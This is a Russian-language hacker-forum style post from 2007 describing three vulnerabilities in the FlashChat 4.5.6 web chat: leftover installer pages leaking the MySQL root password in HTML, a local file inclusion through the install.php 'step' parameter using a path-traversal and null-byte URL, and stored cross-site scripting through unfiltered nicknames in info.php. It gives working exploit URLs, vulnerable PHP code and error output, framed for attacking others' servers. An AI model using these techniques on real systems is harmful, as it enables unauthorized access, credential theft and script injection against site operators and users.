Здрасвуйте, сегодня я покажу несколько найденых уязвимостей в чате FlashChat v 4.5.6. Тестил на старой версии, т.к. не было возомжности потестить на новой. Возможно баги существуют в новых версиях. Найденное мною ранее: пасивная xss в движке чата Итак приступим! Часто бывает что админы не удаляют установочные файлы . Если это так, то, возможно, мы увидим такой текст: ====================== Узнаём пароль на MySQL ====================== Перейдём ко второму шагу установки чата Code: http://server.omg.ru/chat/install.php?step=2 Увидим примерно такое: Пароль на MySQL выводиться в html-форме под звёздочками. Code: <INPUT type="password" size="40" name="password" value="<?php echo $dbpass ?>" <?php if($useCMS) echo 'disabled';?>> смотрим html код: Code: <INPUT type="password" size="40" name="password" value="[B]89f732r[/B]" > в данном случае 89f732r - это и есть пароль, пользователь - root. =================== Локальный инклудинГ =================== Всё те же файлы установки... Приведу кусок кода с файла install.php: PHP: $step = $_GET['step']; if( ! $step || $step<0 || $step>8) { $step = 1; } include "./install_files/step_$step.php"; Code: http://server.omg.ru/chat/install.php?step=2' Ошибка, файл не найден Code: Warning: include(./install_files/step_2\'.php) [function.include]: failed to open stream: No such file or directory in \home\omg\htdocs\chat\install.php on line 18 Warning: include() [function.include]: Failed opening './install_files/step_2\'.php' for inclusion (include_path='.;C:\php5\pear') in \home\omg\htdocs\chat\install.php on line 18 Теперь, можно произвести локальный инклуд файлов,если это позволит php. Code: http://server.omg.ru/chat/install.php?step=2.php/../../index.php%00 откроет главную страницу чата ============ Активная xsS ============ Плохая проверка имён в файле info.php PHP: <?php foreach($rooms as $room) { ?> <tr> <td><?php echo $room['id']?></td> <td><?php echo $room['name']?></td> <td><?php echo numusers($room['id'])?></td> <td><?php $users = usersinroom($room['id']); foreach( $users as $user ) { echo $user['login'] . "<br>"; } ?> </td> </tr> <?php } ?> Переменная $user['login'] (и не только она) не фильтруеться перед выводом в браузер. Если войти в чат с ником <h1>mda</h1>,то при обращении к файле info.php увидим наш текст /me Goudini - 2007